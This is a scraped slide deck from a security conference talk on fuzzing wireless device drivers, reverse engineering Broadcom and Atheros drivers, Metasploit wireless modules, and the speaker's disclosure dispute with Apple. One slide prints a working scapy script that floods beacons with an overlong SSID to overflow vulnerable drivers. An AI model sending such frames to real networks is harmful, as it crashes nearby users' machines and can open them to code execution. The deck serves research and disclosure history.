58
Device Drivers 2.0 David Maynor – Founder & CTO

Device Drivers 2.0

  • Upload
    thi

  • View
    56

  • Download
    4

Embed Size (px)

DESCRIPTION

Device Drivers 2.0. David Maynor – Founder & CTO. Errata Security. Founded in 2006 by Robert Graham and David Maynor. Outsourced research and development Hacker Eye View Product Testing Private Vulnerability Research Professional Services Application and development review - PowerPoint PPT Presentation

Citation preview

Page 1: Device Drivers 2.0

Device Drivers 2.0David Maynor – Founder & CTO

Page 2: Device Drivers 2.0

Errata Security• Founded in 2006 by Robert Graham and

David Maynor.• Outsourced research and development

– Hacker Eye View– Product Testing– Private Vulnerability Research

• Professional Services– Application and development review– Specialized penetration testing

Page 3: Device Drivers 2.0

Query…

Don’t you hate waiting through an entire movie to see the huge action scene at the end?

Page 4: Device Drivers 2.0

Me to!!!!

Page 5: Device Drivers 2.0

Apple Demo(lets just get that out of the way)

Page 6: Device Drivers 2.0

A crash is achieved on a 10.4.6 machine.

Page 7: Device Drivers 2.0

No crash on a 10.4.8 machine.The only changes to airport code between 10.4.6 is 10.4.8 is

the patches apple released in response to the 2006 Blackhat talk on device drivers.

Page 8: Device Drivers 2.0
Page 9: Device Drivers 2.0

A look at /Library/Logs/panic.log

Page 10: Device Drivers 2.0
Page 11: Device Drivers 2.0

What does this mean?

Did Apple misrepresent you to the press?

Did you point them to vulnerabilities affecting Apple hardware?

Where is Jimmy Hoffa?

Page 12: Device Drivers 2.0

The answer to these questions and more will be at the end of the talk.

Captive audience!!

Except the Hoffa one…

Page 13: Device Drivers 2.0

Introduction• What's been going on?

– I have been talking about the risks associated with device drivers for 2 years now.

– 0wn3d by everything else: USB/PCMCIA Issues

• CanSecWest 2005• The first 20 slides involved pointing out the

massively insecure programming practices in device drivers.

– These kinds of problems have been chased to extinction in application level code.

Page 14: Device Drivers 2.0

Why are drivers important?• Operating System vendors are making their

products more secure.• Attackers are just going to give up

– They can either move up and attack the application layer

• File Format bugs• Web Apps• Etc…

– Or they can head below the operating system level and target device drivers.

Page 15: Device Drivers 2.0

A bit of history…• Karl Janmar finds an integer overflow in

freebsd.– http://www.signedness.org/advisories/sps-0x1

.txt

• Jon Ellch and I start working on fuzzing various wireless drivers.– We had great success.– Most fell over if you said boo to loudly.

Page 16: Device Drivers 2.0

How did we find so many problems so quickly?• Fuzzing!!

– You may have heard of it mentioned with its more classy cousin: automated fault injection.

– In case you don’t know what fuzzing is…• You start with a deep understanding

– Protocol

– File format

– Just about anything you can thing of…

• You then write a tool to generate input for your fuzzing target.

– Slightly off

– Hideously malformed

Page 17: Device Drivers 2.0

Clearing up some confusion…• What chipsets did we find stuff in?

– Intel– Atheros– Broadcom

• Chipsets vs. cards• “Reference Drivers”

– The device manufacturer does not write their own driver from scratch.

– The chipset makers provide them with a sample driver they can then adopt to their needs.

• Vulnerabilities across manufactures..and even OSes– http://madwifi.org/wiki/Compatibility– So the same driver can be used for these cards. – If a vulnerability is discovered in the driver anyone using any

of these cards may be affected.– Its not always a guarantee, but it is cool when it happens.

Page 18: Device Drivers 2.0

Example…• Dlink WUA-2340 uses an atheros driver

Page 19: Device Drivers 2.0

If you don’t have the source…• How can you tell it’s the same driver?

– Having the same file name isn’t proof– Aren’t they different architectures…

• Reverse engineering• Code segments• Strings• Structure

• Broadcom– Apple

• /System/Library/Extensions/IO80211Family.kext/Contents/Plugins/AppleAirPortBrcm4311.kext

• AppleAirPortBrcm4311

– Win32• C:\WINDOWS\System32\Drivers• BCMWL5.sys

Page 20: Device Drivers 2.0

OSX code…

Page 21: Device Drivers 2.0

Win32 code…

Page 22: Device Drivers 2.0

• If the Apple broadcom driver is for PPC, when is the disassembly in x86?– Fat binaries

• Contains both PPC and Intel version of app• IDA 5.1 will give you a choice of which to reverse

• Steps– Source– Compiler– Assembler– Binary

Page 23: Device Drivers 2.0

An Odd thing about our finding…• Beacon or Probe Response fuzzing only

– We haven’t delved into the tricky parts of the protocols yet.

– The majority of the bugs were the old sprintf into a static buffer problems.

• A huge untapped area…– Different kinds of control packets– Encryption– Compression– Data…

Page 24: Device Drivers 2.0

What does it look like?

Page 25: Device Drivers 2.0

How to do it?• Requirements..

– Linux– Lorcon– Madwifi

• Patched with lorcon– A supported card

• I use a WPN511– An understanding of the protocols you want

to fuzz– The ability to write code

Page 26: Device Drivers 2.0

• I am using Fedora Core 6– Used yum to install

• Sharutils• Update all

– Built a kernel for wifi auditing• 2.6.18.1

– Patched madwifi with LORCON • Installs in /lib/modules/2.6.18.1/net

Page 27: Device Drivers 2.0

• Test it with a Shell script#!/bin/bash

ifconfig ath0 up

ifconfig ath0 192.168.1.1

iwconfig essid "wifiaudit"

iwconfig ath0 mode Master

iwpriv ath0 mode 2

iwconfig ath0 channel 1

Page 28: Device Drivers 2.0

• Building a quick and dirty fuzzer…– http://www.securityfocus.com/infocus/1877– Use scapy if you aren’t a coder

• http://www.secdev.org/projects/scapy/• fuzz() function

– Will automatically generate random data– Choose packet types

» Beacon» Probe/ProbeResponse» Dissassocate/DeAuthenticate

– Succesfully strageties » Information Elements are TLV - [type][length][value]

» Oversized IE» Alot of reversed IE

Page 29: Device Drivers 2.0

More advanced fuzzing• Intelligent response

– Create malicious probe response– Force change of network attributes– Peer-to-peer vs. infrastructure

• Impersonating– Spoof previous connected AP– Spoof probe responses from legitimate AP

• Mixed cases

Page 30: Device Drivers 2.0

Wireless fuzzing: not just 802.11• Bluetooth

– L2cap fuzzing– http://secunia.com/advisories/22402

• WiMax• 3g/EV-DO• Infrared

– serial

Page 31: Device Drivers 2.0

So how useful is this type of work?• Most of these were found by Jon, HD Moore, and LMH. Shellcode by

Matt Miller.• Apple vulnerabilities

– http://docs.info.apple.com/article.html?artnum=304420– http://docs.info.apple.com/article.html?artnum=304829– http://docs.info.apple.com/article.html?artnum=305031

• Broadcom– http://projects.info-pull.com/mokb/MOKB-11-11-2006.html

• Dlink– http://kernelfun.blogspot.com/2006/11/mokb-13-11-2006-d-link-dwl-

g132.html• Netgear

– http://kernelfun.blogspot.com/2006/11/mokb-16-11-2006-netgear-wg111v2.html

– http://kernelfun.blogspot.com/2006/11/mokb-18-11-2006-netgear-ma521-wireless.html

– http://kernelfun.blogspot.com/2006/11/mokb-22-11-2006-netgear-wg311v1.html

Page 32: Device Drivers 2.0

Actual example…and homework…• Real 0day…• Dlink WUA-2340

– Can still get at CompuUSA cheap– Win32– Metasploit…

Page 33: Device Drivers 2.0
Page 34: Device Drivers 2.0

Metasploit…• Metasploit has added…

– LORCON support– Fuzzers– Kernel payloads

• Most are located in the auxiliary/dos/wireless directory

• Easy way to fuzz and find vulnerabilities

Page 35: Device Drivers 2.0

Wireless support…

Page 36: Device Drivers 2.0

Going forward…• Metasploit runs on Nokia N800 tablet…

Page 37: Device Drivers 2.0

• Add bluetooth capabilities to Metasploit• Add packet injection capabilities to the N800• Launch attacks from tablet!

Page 38: Device Drivers 2.0

More reading…• Uninformed

– http://www.uninformed.org/?v=6&a=2&t=sumry

• SecurityFocus– http://www.securityfocus.com/infocus/1877

Page 39: Device Drivers 2.0

Thank You for coming!

[email protected]

http://erratasec.blogspot.com

http://www.erratasec.com

Page 40: Device Drivers 2.0

Oh wait…the Apple stuff• Yes, I did provide the information on

vulnerabilities in Apple products.• Yes, I provided them with code.• Yes, they were given packet captures from

problems.

I am not able to release and details of email or conversations between Apple and my

email address at my former employer.

Page 41: Device Drivers 2.0

So where is the confusion…• There were multiple vulnerabilities…

– What was shown in the video was not what people saw in person

– The Macbook and Powerbook were both affected

– 3rd party peripherals as well

Page 42: Device Drivers 2.0

• Finding the vulnerabilities was not hard…– Writing the kernel shellcode was– Upcoming paper…

• What happened…– Jon and I went out of our way to make sure the average

Mac user was not affected• We demoed a 3rd party card exploit when we could have

demoed a native one• We videoed the demo so that the code did not escape• If someone found the same vulnerability afterwards, it

didn’t matter because noone used a third party card anyway.

Page 43: Device Drivers 2.0

• Apple was notified the evening I arrived in Las Vegas– “Don’t freak out, although it is using a Mac we are not showing a

native exploit. There are native exploits but we are still determining how many other platforms they affect and we will make a full disclosure when this is done.”

– They said OK.– By Friday the tune had changed to “give it to us now.”

• “I’ll work with an engineer to duplicate the vulnerability when I leave Vegas, but if this is a cross platform problem and you don’t coordinate it you could be leaving millions of other users at risk.”

• They didn’t care. • Since we were finished with the broadcom work, I felt OK telling them

about that problem.– “Fine, if you look at the IE handling code in both the handling of SSIDs in

your broadcom code you will find an overly long SSID with cause a trivial stack overflow.”

– “Is it like the FreeBSD problem?”– “Yes, it’s a malformed IE.”

Page 44: Device Drivers 2.0

• I returned to Atlanta and began to test and see what other platforms may be affected by the Atheros driver.

• After a few phone calls…– Apple couldn’t figure out how to duplicate the

problem– They couldn’t get packet injection working– They need more help…

Page 45: Device Drivers 2.0

I helped them build a wifi auditing box…• So even if they found the bugs in an “internal

audit” I showed them how to build the box that they used…

Page 46: Device Drivers 2.0

At their request we offered more assistance…

• How to actually do injection and attack.• I sent them a script that produced an overly

long SSID to help reproduce the problem.

Page 47: Device Drivers 2.0

Its encrypted…

Page 48: Device Drivers 2.0

The pre-encrypted versionThis is a beacon test script i was using last night to determine if default OSX was vulnerable, its easy to modify for a probe response,

most cards however will ignore probe response from address they didn't send a probe out to, or the unsolicited probe.

#!/usr/bin/env python

import sysfrom scapy import *

target=“ff:ff:ff:ff:ff:ff"attacker="00:0f:b5:a8:fd:2c"

conf.iface="ath0raw"

p=Dot11(subtype=8, addr1=target, addr2=attacker, addr3=attacker)/Dot11Beacon()/Dot11Elt(ID=1, len=4, info="5555")/Dot11Elt(ID=0, len=255, info="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")

while 1==1:sendp(p)

Page 49: Device Drivers 2.0

DEMO

Crash the broadcom Driver

(win32)

Page 50: Device Drivers 2.0

How is this significant?AirPort

CVE-ID: CVE-2006-3507

Available for: Mac OS X v10.3.9, Mac OS X Server v10.3.9, Mac OS X v10.4.7, Mac OS X Server v10.4.7

Impact: Attackers on the wireless network may cause arbitrary code execution

Description: Two separate stack buffer overflows exist in the AirPort wireless driver's handling of malformed frames. An attacker in local proximity may be able to trigger an overflow by injecting a maliciously-crafted frame into a wireless network. When the AirPort is on, this could lead to arbitrary code execution with system privileges. This issue affects Power Mac, PowerBook, iBook, iMac, Mac Pro, Xserve, and PowerPC-based Mac mini computers equipped with wireless. Intel-based Mac mini, MacBook, and MacBook Pro computers are not affected. There is no known exploit for this issue. This update addresses the issues by performing additional validation of wireless frames.

One of the two vulnerabilities is that if an SSID is over a certain length, you get a stack overflow.

Page 51: Device Drivers 2.0

Is there more?• I became weary of working with Apple after

the following..

Page 52: Device Drivers 2.0

But I still sent them packet caps regarding more wireless problems…

Page 53: Device Drivers 2.0
Page 54: Device Drivers 2.0
Page 55: Device Drivers 2.0

Note the date on the bluetooth response• The next day Macworld ran a story with an

Apple PR quote saying we had shared nothing and changed our story.

• Both are incorrect.• The relationship dissolved after that.

Page 56: Device Drivers 2.0

• Jon and I didn’t say anything initially because we knew they had to release pacthes.

• We changed our toorcon talk from Device Drivers to the Apple tell all.

• Apple was made aware of that.• They released patches right before the conference

in case we were able to talk.– They couldn’t let us demo code that proved they left

users at risk.– They applied pressure to my former employer to keep

me from speaking.

Page 57: Device Drivers 2.0

And that’s about it...What about the video analysis?

That was 5 minutes edited together from 4 hours of shooting. Doing a frame by frame analysis of that is the equivalent of watching NASCAR in slow motion to learn to driver.

People challenging you to prove to them?Why would we put users at risk just to win a bet?

What about Apple? Will you demand they credit you?It is ultimately Apples decision who to credit with a find. We feel we have presented enough information to show that we did point to specific problems in Apple’s products and that we attempted to work with them in good faith. The decision to discontinue working with Apple was made after incorrect statements were made to the press regarding information we have shared. I no longer feel comfortable engaging in any type of relationship with the company and I will not report and future findings to them.

Page 58: Device Drivers 2.0

More details and examples will be posted to the Errata Security blog.

http://erratasec.blogspot.com